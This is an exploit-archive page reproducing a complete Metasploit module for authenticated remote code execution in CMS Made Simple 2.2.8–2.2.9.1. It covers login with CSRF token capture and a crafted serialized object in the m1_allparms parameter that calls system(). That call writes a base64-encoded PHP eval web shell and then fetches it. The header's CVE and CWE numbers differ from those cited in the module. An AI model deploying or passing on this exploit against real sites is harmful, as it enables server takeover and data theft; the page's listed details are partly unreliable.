CMS Made Simple 2.2.8 Remote Code Execution
CVE
Category
Price
Severity
CVE-2019-9053
CWE-20
$5,000
High
Author
Risk
Exploitation Type
Date
Albert Stan
Critical
Remote
2019-11-18
CVSS vector description
Metric
Value
Metric Description
Value Description
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019110119 Below is a copy:
CMS Made Simple 2.2.8 Remote Code Execution ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'CMS Made Simple Authenticated RCE via object injection',
'Description' => %q(
An issue was discovered in CMS Made Simple 2.2.8.
In the module DesignManager (in the files action.admin_bulk_css.php
and action.admin_bulk_template.php), with an unprivileged user
with Designer permission, it is possible to reach an unserialize
call with a crafted value in the m1_allparms parameter,
and achieve object injection.
This module has been successfully tested on CMS Made Simple versions
2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
),
'Author' => [
'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-9055'],
['CWE', '74'],
['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2019'))
register_options(
[
OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
)
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def multipart_form_data(uri, data, message)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'cookie' => @cookies
)
end
def post(uri, data)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'vars_post' => data,
'cookie' => @cookies
)
end
def get(path, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, path, filename),
'method' => 'GET'
)
end
def check
res = get('', 'index.php')
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body.match?(/CMS Made Simple/i)
return CheckCode::Safe
end
version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
if version <= Gem::Version.new('2.2.9.1')
return CheckCode::Appears
end
return CheckCode::Safe
end
def login
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
res = post('login.php', data)
unless res
fail_with(Failure::Unreachable,
'A response was not received from the remote host')
end
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
end
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
vprint_good("#{peer} - Authentication successful")
@csrf_name = Regexp.last_match(1)
csrf_val = Regexp.last_match(2)
@csrf = { @csrf_name => csrf_val }
@cookies = res.get_cookies
end
def send_injection
# prepare shell command
shell_name = rand_text_alpha(8..12) + '.php'
cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"
# prepare serialized object
final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
final_payload += "\x00" + 'dm_xml_reader' + "\x00"
final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'
# create message with payload
message = Rex::MIME::Message.new
message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
data = message.to_s
# send payload
payload_res = multipart_form_data('moduleinterface.php', data, message)
fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
register_files_for_cleanup(shell_name)
# open shell
res = get('admin', shell_name)
if res && res.code == 404
print_error "Shell #{shell_name} not found"
end
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include?(check)
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
login
send_injection
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum